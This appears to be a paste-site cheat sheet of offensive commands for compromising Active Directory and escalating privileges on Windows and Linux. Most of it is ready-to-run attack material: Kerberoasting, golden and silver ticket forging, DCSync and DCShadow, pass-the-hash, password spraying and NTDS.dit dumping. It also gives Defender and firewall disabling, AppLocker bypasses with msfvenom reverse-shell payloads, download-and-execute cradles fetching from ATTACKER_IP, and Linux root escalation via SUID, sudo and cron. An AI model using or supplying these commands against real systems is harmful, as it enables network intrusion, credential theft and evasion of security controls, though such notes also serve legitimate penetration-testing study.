Active Directory


SUBMITTED BY: DevilDawg

DATE: Feb. 24, 2022, 12:43 a.m.

FORMAT: Text only

SIZE: 120.3 kB

HITS: 1167

  1. ACTIVE DIRECTORY:
  2. TOOLS that attackers use to penetrate and compromise Active Directory include:
  3. Described as “a little tool to play with Windows security”, Mimikatz is probably the most widely used AD exploitation tool and the most versatile. It provides a variety of methods for grabbing LM Hashes, Kerberos tickets, etc.
  4. PowerSploit is a PowerShell-based toolkit for recon, exfiltration, persistence, etc.
  5. Bloodhound is a graphical tool for finding relationships in AD environments that help speed the path to privileged access.
  6. Death Star shows how you can use information collected from Bloodhound and other tools to automate the elevation to Domain Admin (or similar).
  7. Service Principal Names (SPNs):
  8. Service accounts leverage SPNs to support Kerberos authentication, which leaves a trail to exactly where these accounts are and what they are used for. This information can be easily exploited by an attacker.
  9. Using PowerShell list all domain service accounts that have registered SPN values:
  10. #Build LDAP Filter to look for users with SPN values registered for current domain
  11. $ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
  12. $domain = New-Object System.DirectoryServices.DirectoryEntry
  13. $search = New-Object System.DirectoryServices.DirectorySearcher
  14. $search.SearchRoot = $domain
  15. $search.PageSize = 1000
  16. $search.Filter = $ldapFilter
  17. $search.SearchScope = "Subtree"
  18. #Execute Search
  19. $results = $search.FindAll()
  20. #Display SPN values from the returned objects
  21. foreach ($result in $results)
  22. {
  23. $userEntry = $result.GetDirectoryEntry()
  24. Write-Host "User Name = " $userEntry.name
  25. foreach ($SPN in $userEntry.servicePrincipalName)
  26. {
  27. Write-Host "SPN = " $SPN
  28. }
  29. Write-Host ""
  30. }
  31. LOCATE ALL ACCOUNTS WITH "svc" IN THE NAME:
  32. #Build LDAP Filter to look for users with service account naming conventions
  33. $ldapFilter = "(&(objectclass=Person)(cn=*svc*))"
  34. $domain = New-Object System.DirectoryServices.DirectoryEntry
  35. $search = New-Object System.DirectoryServices.DirectorySearcher
  36. $search.SearchRoot = $domain
  37. $search.PageSize = 1000
  38. $search.Filter = $ldapFilter
  39. $search.SearchScope = "Subtree"
  40. #Adds list of properties to search for
  41. $objProperties = "name"
  42. Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)}
  43. #Execute Search
  44. $results = $search.FindAll()
  45. #Display values from the returned objects
  46. foreach ($result in $results)
  47. {
  48. $userEntry = $result.GetDirectoryEntry()
  49. Write-Host "User Name = " $userEntry.name
  50. Write-Host ""
  51. }
  52. To search Active Directory for service accounts, you need to investigate the values of an object’s user account control settings.
  53. Switch the first line of the above script with the line below to accomplish this.
  54. $ldapFilter = "(&(objectclass=user)(objectcategory=user)(useraccountcontrol :1.2.840.113556.1.4.803:=65536))"
  55. The data is structured in a tree format. Each node in the tree is called a key. Each key can contain both subkeys and data entries called values.
  56. Registry Hive - A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user’s hive contains specific registry information pertaining to the user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.
  57. Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.
  58. Elevation of Privileges
  59. General
  60. # PowerShellMafia
  61. # Use always dev branch others are shit.
  62. https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
  63. powershell.exe -c “Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks”
  64. powershell.exe -c “Import-Module C:\Users\Public\Get-System.ps1; Get-System”
  65. # Sherlock
  66. https://github.com/rasta-mouse/Sherlock
  67. # Unquoted paths
  68. wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v
  69. Kerberoast
  70. Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn’t produce any logs)
  71. – For kerberos to work, times have to be within 5 minutes between attacker and victim.
  72. # Rubeus
  73. .\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234
  74. # List available tickets
  75. setspn.exe -t evil.corp -q */*
  76. powershell.exe -exec bypass -c “Import-Module .\GetUserSPNs.ps1”
  77. cscript.exe GetUserSPNs.ps1
  78. # List cached tickets
  79. Invoke-Mimikatz -Command ‘”kerberos::list”‘
  80. powershell.exe -c “klist”
  81. powershell.exe -c “Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command ‘”kerberos::list”‘”
  82. # Request tickets
  83. Add-Type -AssemblyName System.IdentityModel
  84. New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/web01.medin.local”
  85. # Requesting remotely
  86. python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1
  87. # Extract tickets
  88. powershell.exe -c “Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat”
  89. Invoke-Mimikatz -Command ‘”kerberos::list /export”‘
  90. # Crack Tickets
  91. python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi
  92. Juicy Potato
  93. https://github.com/ohpe/juicy-potato/releases
  94. Pick one CLSID from here according to your system
  95. https://github.com/ohpe/juicy-potato/tree/master/CLSID
  96. Required tokens :-
  97. SeAssignPrimaryTokenPrivilege
  98. SeImpersonatePrivilege
  99. C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a “/c whoami > C:\Users\Public\morph3.txt” -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}
  100. Stored Credential
  101. # To check if there is any stored keyscmdkey /list
  102. # Using them
  103. runas /user:administrator /savecred “cmd.exe /k whoami”
  104. Impersonating Tokens with meterpreter
  105. use incognito
  106. list_tokens -u
  107. impersonate_token NT-AUTHORITY\System
  108. Lateral Movement
  109. PsExec, SmbExec, WMIExec, RDP, PTH in general.
  110. WinRM is always good. Check groups carefully.
  111. Since windows gave support to OpenSSH we should also consider SSH.
  112. Mimikatz Ticket PTH
  113. Enable-PSRemoting
  114. mimikatz.exe ‘” kerberos:ptt C:\Users\Public\ticketname.kirbi”‘ “exit”
  115. Enter-PSSession -ComputerName ECORP
  116. WinRM
  117. $pass = ConvertTo-SecureString ‘supersecurepassword’ -AsPlainText -Force
  118. $cred = New-Object System.Management.Automation.PSCredential (‘ECORP.local\morph3’, $pass)
  119. Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
  120. # Evil-WinRM
  121. https://github.com/Hackplayers/evil-winrm
  122. ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp
  123. PTH with Mimikatz
  124. Invoke-Mimikatz -Command ‘”sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command”‘
  125. Database Links
  126. # PowerUpSQL
  127. https://github.com/NetSPI/PowerUpSQL
  128. Get-SQLServerLink -Instance server -Verbose
  129. powershell.exe -c “Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql”
  130. # To see servers
  131. select srvname from master..sysservers;
  132. # Native
  133. Get-SQLServerLinkCrawl -Instance server -Query “exec master..xp_cmdshell ‘whoami'”
  134. # Linked database tables
  135. select * from openquery(“ECORP\FOO”, ‘select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES’)
  136. # You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler
  137. # With meterpreter module you can find linked databases and if you are admin on them
  138. # You can do a query and try to enable xp_cmpshell on that server
  139. select * from openquery(“server”,’select * from master..sysservers’) EXECUTE AS USER = ‘internal_user’ (‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “server”
  140. Golden and Silver Tickets
  141. Keys depend of ticket :
  142. –> for a Golden, they are from the krbtgt account;
  143. –> for a Silver, it comes from the “computer account” or “service account”.
  144. # Golden Ticket
  145. # Extract the hash of the krbtgt user
  146. lsadump::dcsync /domain:evil.corp /user:krbtgt
  147. lsadump::lsa /inject
  148. lsadump:::lsa /patch
  149. lsadump::trust /patch
  150. # creating the ticket
  151. # /rc4 or /krbtgt – the NTLM hash
  152. # /sid you will get this from krbtgt dump
  153. # /ticket parameter is optional but default is ticket.kirbi
  154. # /groups parameter is optional but default is 513,512,520,518,519
  155. # /id you can fake users and supply valid Administrator id
  156. kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519
  157. kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
  158. # After this , final ticket must be ready
  159. # You can now verify that your ticket is in your cache
  160. powershell.exe -c “klist”
  161. # Verify that golden ticket is working
  162. dir \\DC\C$
  163. psexec.exe \\DC cmd.exe
  164. # Purge the currently cached kerberos ticket
  165. kerberos::purge
  166. #metasploit module can also be used for golden ticket, it loads the ticket into given session
  167. post/windows/escalate/golden_ticket
  168. # Silver Ticket
  169. # Silver Ticket allows escalation of privileges on DC
  170. # /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, …)
  171. # /service – The service name for the ticket (ex: cifs, rpcss, http, mssql, …)
  172. # Examples
  173. kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103
  174. sqlcmd -S evilcorp-sql102.evilcorp.local
  175. select SYSTEM_USER;
  176. GO
  177. kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt
  178. AD Attacks
  179. Enumeration
  180. # Basic ldap enumeration
  181. enum4linux -a 192.168.1.2
  182. python windapsearch.py -u morph3 -p morph3 -d evil.corp –dc-ip 192.168.1.2
  183. python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd
  184. Bruteforce on ldap
  185. # Password spray
  186. https://github.com/dafthack/DomainPasswordSpray
  187. Import-Module .\DomainPasswordSpray.ps1
  188. Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  189. # Password brute
  190. ./kerbrute_linux_amd64 bruteuser -d evil.corp –dc 192.168.1.2 rockyou.txt morph3
  191. # Username brute
  192. ./kerbrute_linux_amd64 userenum -d evil.corp –dc 192.168.1.2 users.txt
  193. # Password spray
  194. ./kerbrute_linux_amd64 passwordspray -d evil.corp –dc 192.168.1.2 users.txt rockyou.txt
  195. DC Shadow
  196. AD MEM
  197. DC Shadow attack aims to inject malicious Domain Controllers into AD infrastructure so that we can dump actual AD members.
  198. #Find sid for that user
  199. wmic useraccount where (name=’administrator’ and domain=’%userdomain%’) get name,sid
  200. #This will create a RPC Server and listen
  201. lsadump::dcshadow /object:”CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local” /attribute:sidhistory /value:sid
  202. # Run this from another mimikatz
  203. lsadump::dcshadow /push
  204. # After this unregistration must be done
  205. # Relogin
  206. lsadump::dcsync /domain:ECORP.local /account:krbtgt
  207. # Now you must have krbtgt hash
  208. https://attack.stealthbits.com/how-dcshadow-persistence-attack-works/
  209. DC Sync
  210. #####
  211. lsadump::dcsync /domain:domain /all /csv
  212. lsadump::dcsync /user:krbtgt
  213. #####
  214. https://gist.github.com/monoxgas/9d238accd969550136db
  215. powershell.exe -c “Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat”
  216. #####
  217. python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
  218. python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
  219. Bypass-Evasion Techniques
  220. Powershell Constrained Language Bypass
  221. powershell.exe -v 2 -ep bypass -command “IEX (New-Object Net.WebClient).DownloadString(‘http://ATTACKER_IP/rev.ps1’)
  222. PSByPassCLM
  223. powershell.exe -exec bypass -c
  224. Windows Defender
  225. sc config WinDefend start= disabled
  226. sc stop WinDefend
  227. # Powershell
  228. Set-MpPreference -DisableRealtimeMonitoring $true
  229. # Remove definitions
  230. “%Program Files%\Windows Defender\MpCmdRun.exe” -RemoveDefinitions -All
  231. Firewall
  232. Netsh Advfirewall show allprofiles
  233. NetSh Advfirewall set allprofiles state off
  234. Ip Whitelisting
  235. New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
  236. Applocker ByPass
  237. https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
  238. https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
  239. https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
  240. # Multistep process to bypass applocker via MSBuild.exe:
  241. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=9001 -f csharp -e x86/shikata_ga_nai -i > out.cs
  242. # Replace the buf-sc and save it as out.csproj
  243. https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
  244. Invoke-WebRequest “http://ATTACKER_IP/payload.csproj” -OutFile “out.csproj”; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj
  245. # or you can simply use my tool 🙂
  246. https://github.com/morph3/Msbuild-payload-generator
  247. sudo python msbuild_gen.py -a x86 -i 10 –lhost 192.168.220.130 –lport 9001 -m
  248. GreatSCT
  249. # This also needs Veil-Framework
  250. python GreatSCT.py –ip 192.168.1.56 –port 443 -t Bypass -p installutil/powershell/script.py -c “OBFUSCATION=ascii SCRIPT=/root/script.ps1”
  251. C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe
  252. python3 GreatSCT.py -t Bypass -p regasm/meterpreter/rev_tcp –ip 192.168.1.56 –port 9001
  253. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
  254. EvilSalsa
  255. #Preparing payloads
  256. python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
  257. EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
  258. #Executing payload
  259. SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001
  260. # Reverse icmp shell
  261. python icmpsh_m.py “ATTACKER_IP” “VICTIM_IP”
  262. SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP
  263. Miscellaneous
  264. Changing Permissions of a file
  265. icacls text.txt /grant Everyone:F
  266. Downloading files
  267. IEX (New-Object System.Net.WebClient).DownloadString(“http://ATTACKER_IP/rev.ps1”)
  268. (New-Object System.Net.WebClient).DownloadFile(“http://ATTACKER_SERVER/malware.exe”, “C:\Windows\Temp\malware.exe”)
  269. Invoke-WebRequest “http://ATTACKER_SERVER/malware.exe” -OutFile “C:\Windows\Temp\malware.exe”
  270. certutil.exe -urlcache -split -f “http://127.0.0.1:80/shell.exe” shell.exe
  271. Adding user to Domain admins
  272. Add-DomainGroupMember -Identity ‘Domain Admins’ -Members morph3 -Verbose
  273. Base64 Encode-Decode
  274. certutil -decode foo.b64 foo.exe
  275. certutil -encode foo.exe foo.b64
  276. Network sharing
  277. # Local share
  278. net share
  279. wmic share get /format:list
  280. # Remote share
  281. net view
  282. net view \\dc.ecorp.foo /all
  283. wmic /node: dc.ecorp.foo share get
  284. # Mounting share
  285. net use Z: \\127.0.0.1\C$ /user:morph3 password123
  286. Port Forwarding
  287. # Port forward using plink
  288. plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080
  289. # Port forward using meterpreter
  290. portfwd add -l attacker-port -p victim-port -r victim-ip
  291. portfwd add -l 3306 -p 3306 -r 192.168.1.56
  292. Powershell Portscan
  293. 0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) “Port $_ is open!”} 2>$null
  294. Recovering Powershell Secure String
  295. ######
  296. $user = “morph3”
  297. $file = “morph3-pass.xml”
  298. $cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)
  299. Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }
  300. ######
  301. [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR(“string”))
  302. ######
  303. $Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)
  304. $result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)
  305. [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)
  306. $result
  307. Injecting PowerShell scripts Into sessions
  308. Invoke-Command -FilePath scriptname -Sessions $sessions
  309. Enter-PSSession -Session $sess
  310. Enable RDP
  311. # CMD
  312. reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f
  313. # Powershell
  314. Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’-name “fDenyTSConnections” -Value 0
  315. Enable-NetFirewallRule -DisplayGroup “Remote Desktop”
  316. # Optional
  317. net localgroup “Remote Desktop Users” morph3 /add
  318. # Reruling firewall
  319. netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes
  320. netsh advfirewall firewall add rule name=”allow RemoteDesktop” dir=in protocol=TCP localport=3389 action=allow
  321. Decrypting EFS files with Mimikatz
  322. Follow the link here How to Decrypt EFS Files
  323. privilege::debug
  324. token::elevate
  325. crypto::system /file:”C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert” /export
  326. dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id”
  327. # Clear text password
  328. dpapi::masterkey /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey” /password:pass123
  329. # After this command you must have the exported .der and .pvk files
  330. dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id” /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b
  331. openssl x509 -inform DER -outform PEM -in blah.der -out public.pem
  332. openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem
  333. openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx
  334. # Import the certificate
  335. certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot
  336. type “C:\Users\Administrator\Documents\encrypted.txt”
  337. Post exploitation – information gathering
  338. Reading Event Logs
  339. User must be in “Event Log Reader” group
  340. Follow this link
  341. Get-WinEvent -ListLog *
  342. # Listing logs of a specific user
  343. $cred = Get-Credentials
  344. Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred
  345. # Reading Security logs
  346. (Get-WinEvent -FilterHashtable @{LogName = ‘Security’} | Select-Object @{name=’NewProcessNam
  347. e’;expression={ $_.Properties[5].Value }}, @{name=’CommandLine’;expression={
  348. $_.Properties[8].Value }}).commandline
  349. Password Dump
  350. # Metasploit
  351. post/windows/gather/enum_chrome
  352. post/multi/gather/firefox_creds
  353. post/firefox/gather/cookies
  354. post/firefox/gather/passwords
  355. post/windows/gather/forensics/browser_history
  356. post/windows/gather/enum_putty_saved_sessions
  357. # Empire
  358. collection/ChromeDump
  359. collection/FoxDump
  360. collection/netripper
  361. credentials/sessiongopher
  362. # mimikatz
  363. privilege::debug
  364. sekurlsa::logonpasswords
  365. Shadow copy
  366. There might be a case where you are privileged but can’t read-access to shadow files(NTDS.dit, SYSTEM etc.)
  367. diskshadow.exe
  368. set context persistent nowriters
  369. add volume C: alias morph3
  370. create
  371. expose %morph3% Z:
  372. # Deletion
  373. delete shadows volume %morph3%
  374. reset
  375. NTDS.dit dump
  376. secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local
  377. python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com –ntds drsuapi
  378. # on DC, lsass.exe can dump hashes
  379. lsadump::lsa /inject
  380. Summary of tools
  381. Ad Environment
  382. icebreaker
  383. bloodhound
  384. Post Exploitation
  385. Empire
  386. DeathStar
  387. CrackMapExec – CME
  388. Covenant
  389. Rubeus
  390. SharpDPAPI
  391. Bypass
  392. Ebowla
  393. Veil-Framework
  394. PsBypassCLM
  395. Swiss Knife
  396. impacket
  397. Windows Kernel
  398. Vulnerabilities in the Windows kernel are published from time to time of which many can be used to escalate privileges.
  399. The following command can be used to retrieve installed patches and their date:
  400. wmic qfe get Caption,Description,HotFixID,InstalledOn
  401. Wmic can be used to retrieve installed software and their versions:
  402. wmic product get name, version
  403. To search for missing DLLs, PowerSploit can be used with the following script:
  404. Find-ProcessDLLHijack
  405. Hereafter, we can check the permissions in the directories that Windows searches for DLL files:
  406. Find-PathDLLHijack
  407. In the last step we can create a malicious DLL file with the following script:
  408. Write-HijackDll
  409. Windows first tries to execute an executable file in the location where the first space is. E.g. the service path
  410. C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
  411. when administrators want to deploy images on a large number of devices without user interaction (called unattended installations) they use the Windows Deployment Services. However, this requires that the local system administrator’s password or other, privileged account passwords are stored in one or more of the following locations:
  412. C:\unattend.xml
  413. C:\Windows\Panther\Unattend.xml
  414. C:\Windows\Panther\Unattend\Unattend.xml
  415. C:\Windows\system32\sysprep.inf
  416. C:\Windows\system32\sysprep\sysprep.xml
  417. As an example, the following CMD commands can be used to search for passwords in configuration files:
  418. findstr /si password password *.txt
  419. findstr /si password password *.xml
  420. findstr /si password password *.ini
  421. findstr /si password password *.dat
  422. Furthermore, the following PowerSploit scripts can be used:
  423. Get-UnattendedInstallFile
  424. Get-Webconfig
  425. Get-ApplicationHost
  426. Get-SiteListPassword
  427. Get-CachedGPPPassword
  428. The following commands are used to search for passwords in the registry:
  429. reg query HKLM /f password /t REG_SZ /s
  430. reg query HKLM /f password /t REG_SZ /s
  431. reg query HKU /f password /t REG_SZ /s
  432. reg query HKU /f password /t REG_SZ /s
  433. reg query HKCU /f password /t REG_SZ /s
  434. reg query HKCU /f password /t REG_SZ /s
  435. Insufficient Physical Access Manipulation Protection
  436. Further privilege escalation attack vectors exist if physical access to the target system is available. This section describes how privileges can be escalated on a system, which an attacker has physical access to and which is protected insufficiently against file manipulation.
  437. The following graph depicts the possibilities to elevate privileges by attacking devices which we have physical access to:
  438. Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local system from a particular Domain computer use the following command
  439. Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Autosize
  440. for a non domain system with domain credentials we can use the command below
  441. Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table -Autosize
  442. Discovering the Service Accounts
  443. By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts used can be identified.
  444. PS C:\> get-aduser -filter {ServicePrincipalName -like “*”} -Properties PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
  445. Winexe
  446. Linux Binary pth-winexe
  447. Example with pth:
  448. pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:4b579a266f697c2xxxxxxxxx //10.145.X.X cmd.exe
  449. pth-winexe -U EXAMPLE/Administrator%example@123 //10.145.X.X cmd.exe
  450. If we want to login as NTAuthority, probably use –system
  451. R-service:
  452. If there are any r-services enabled these are what you should try out, you may be lucky and get logged indirectly.
  453. #rlogin -l root <ip> // will directly log you in
  454. You can try an rlogin brute using Nmap script
  455. #nmap -p53 –script rlogin-brute <ip>
  456. #rusers -al <ip>
  457. #rwho
  458. SMB enumeration:
  459. This is what you might come across pretty often.
  460. #enum4linux -a <IP> //performs all basic enumeration using smb null session.
  461. #enum4linux -U 192.168.1.2 //-U will get userlist
  462. SMB null session is an unauthenticated netbios session between two computers. SMB null session is available for SMB1 systems only i.e 2000,xp,2003
  463. To use an smb null session :
  464. #rpcclient -U “” 192.168.1.2 ///when asked enter empty password
  465. #rpcclient $>srvinfo
  466. #rpcclient $>enumdomusers
  467. #rpcclient $>querydominfo
  468. #rpcclient $>getdompwinfo //password policy
  469. #rpcclient $>netshareenum
  470. #nmblookup -A 192.168.1.1
  471. #rpcinfo -p <target>
  472. Enumerate using smbclinet:
  473. #smbclient -L //192.168.1.2
  474. #smbclient -L //192.168.1.2/myshare -U anonymous
  475. #smb> get data.txt
  476. #smb>put evil.txt
  477. Brute SMB password:
  478. #nmap -p445 –script=smb-brute.nse <ip>
  479. Brute force should always be your last option. You can also use hydra to do it.
  480. Using nmap:
  481. #nmap -sU -sS –script=smb-enum-users -p U:137,T:139 192.168.1.200-254
  482. #nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
  483. Windows null session:
  484. C:\>net use \\TARGET\IPC$ “” /u:””
  485. Use acccheck for getting user pass using smb
  486. #acccheck -v -t 192.168.1.2 -u <user_name> -P /usr/share/dirb/wordlist/common.txt
  487. #acccheck -t 192.168.1.2 -U /root/users.txt -P /root/Pass.txt
  488. Once you got user creds we will use the creds to see the shares using smbmap
  489. #smbmap -u <user_name> -p <password> -d <domain> -H <IP>
  490. #smbmap -u user -p pass -d workgroup -H 192.168.1.2
  491. #smbmap -L -u user -p pass -d workgroup -H 192.168.1.2
  492. If you have only read privilege read the shares
  493. #smbmap -r -u user -p pass -d workgroup -H 192.168.1.2
  494. https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
  495. Exploiting a vulnerable machine via dirtycow
  496. $ whoami – tells us the current user is john (non-root user)
  497. $ uname -a – gives us the kernel version which we know is vulnerable to dirtycow
  498. > downloaded the dirtycow exploit from here – https://www.exploit-db.com/exploits/40839/
  499. > Compiled and executed it. It replaces the ‘root’ user with a new user ‘rash’ by editing the /etc/passwd file.
  500. $ su rash – It changes the current logged in user to ‘rash’ which is root.
  501. Exploiting vulnerable SUID executable to get root access
  502. $ find / -perm -u=s -type f 2>/dev/null – It prints the executables which have SUID bit set
  503. ls -la /usr/local/bin/nmap – Let’s confirm if nmap has SUID bit set or not.
  504. Exploiting misconfigured SUDO rights to get root access
  505. $ sudo -l – Prints the commands which we are allowed to run as SUDO
  506. sudo find /home -exec sh -i \; – find command’s exec parameter can be used for arbitrary code execution.
  507. Exploiting badly configured cron jobs to get root access
  508. $ ls -la /etc/cron.d – prints cron jobs which are already present in cron.d
  509. $ find / -perm -2 -type f 2>/dev/null – prints world writable files
  510. $ ls -la /usr/local/sbin/cron-logrotate.sh – Let’s confirm if the cron-logrotate.sh is world writable.
  511. $ echo “chown root:root /tmp/rootme; chmod u+s /tmp/rootme;”>/usr/local/sbin/cron-logrotate.sh –
  512. This will change the executable’s owner and group as root. It will also set the SUID bit.
  513. $ ls -la rootme – After 5 minutes, the logrotate cronjob was run and cron-logrotate.sh got execute with root privilege.
  514. $ ./rootme – spawns a root shell.
  515. > Now, if a root user executes the code with root privilege, we can achieve arbitrary code execution with root privilege.
  516. $ ls – executed ./ls file instead of running list command.
  517. Operating System
  518. What's the distribution type? What version?
  519. cat /etc/issue
  520. cat /etc/*-release
  521. cat /etc/lsb-release # Debian based
  522. cat /etc/redhat-release # Redhat based
  523. What's the kernel version? Is it 64-bit
  524. cat /proc/version
  525. uname -a
  526. uname -mrs
  527. rpm -q kernel
  528. dmesg | grep Linux
  529. ls /boot | grep vmlinuz-
  530. What can be learnt from the environmental variables?
  531. cat /etc/profile
  532. cat /etc/bashrc
  533. cat ~/.bash_profile
  534. cat ~/.bashrc
  535. cat ~/.bash_logout
  536. env
  537. set
  538. Is there a printer?
  539. lpstat -a
  540. Applications & Services
  541. What services are running? Which service has which user privilege?
  542. ps aux
  543. ps -ef
  544. top
  545. cat /etc/services
  546. Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
  547. ps aux | grep root
  548. ps -ef | grep root
  549. What applications are installed? What version are they? Are they currently running?
  550. ls -alh /usr/bin/
  551. ls -alh /sbin/
  552. dpkg -l
  553. rpm -qa
  554. ls -alh /var/cache/apt/archivesO
  555. ls -alh /var/cache/yum/
  556. Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
  557. cat /etc/syslog.conf
  558. cat /etc/chttp.conf
  559. cat /etc/lighttpd.conf
  560. cat /etc/cups/cupsd.conf
  561. cat /etc/inetd.conf
  562. cat /etc/apache2/apache2.conf
  563. cat /etc/my.conf
  564. cat /etc/httpd/conf/httpd.conf
  565. cat /opt/lampp/etc/httpd.conf
  566. ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
  567. What jobs are scheduled?
  568. crontab -l
  569. ls -alh /var/spool/cron
  570. ls -al /etc/ | grep cron
  571. ls -al /etc/cron*
  572. cat /etc/cron*
  573. cat /etc/at.allow
  574. cat /etc/at.deny
  575. cat /etc/cron.allow
  576. cat /etc/cron.deny
  577. cat /etc/crontab
  578. cat /etc/anacrontab
  579. cat /var/spool/cron/crontabs/root
  580. Any plain text usernames and/or passwords?
  581. grep -i user [filename]
  582. grep -i pass [filename]
  583. grep -C 5 "password" [filename]
  584. find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
  585. Communications & Networking
  586. What NIC(s) does the system have? Is it connected to another network?
  587. /sbin/ifconfig -a
  588. cat /etc/network/interfaces
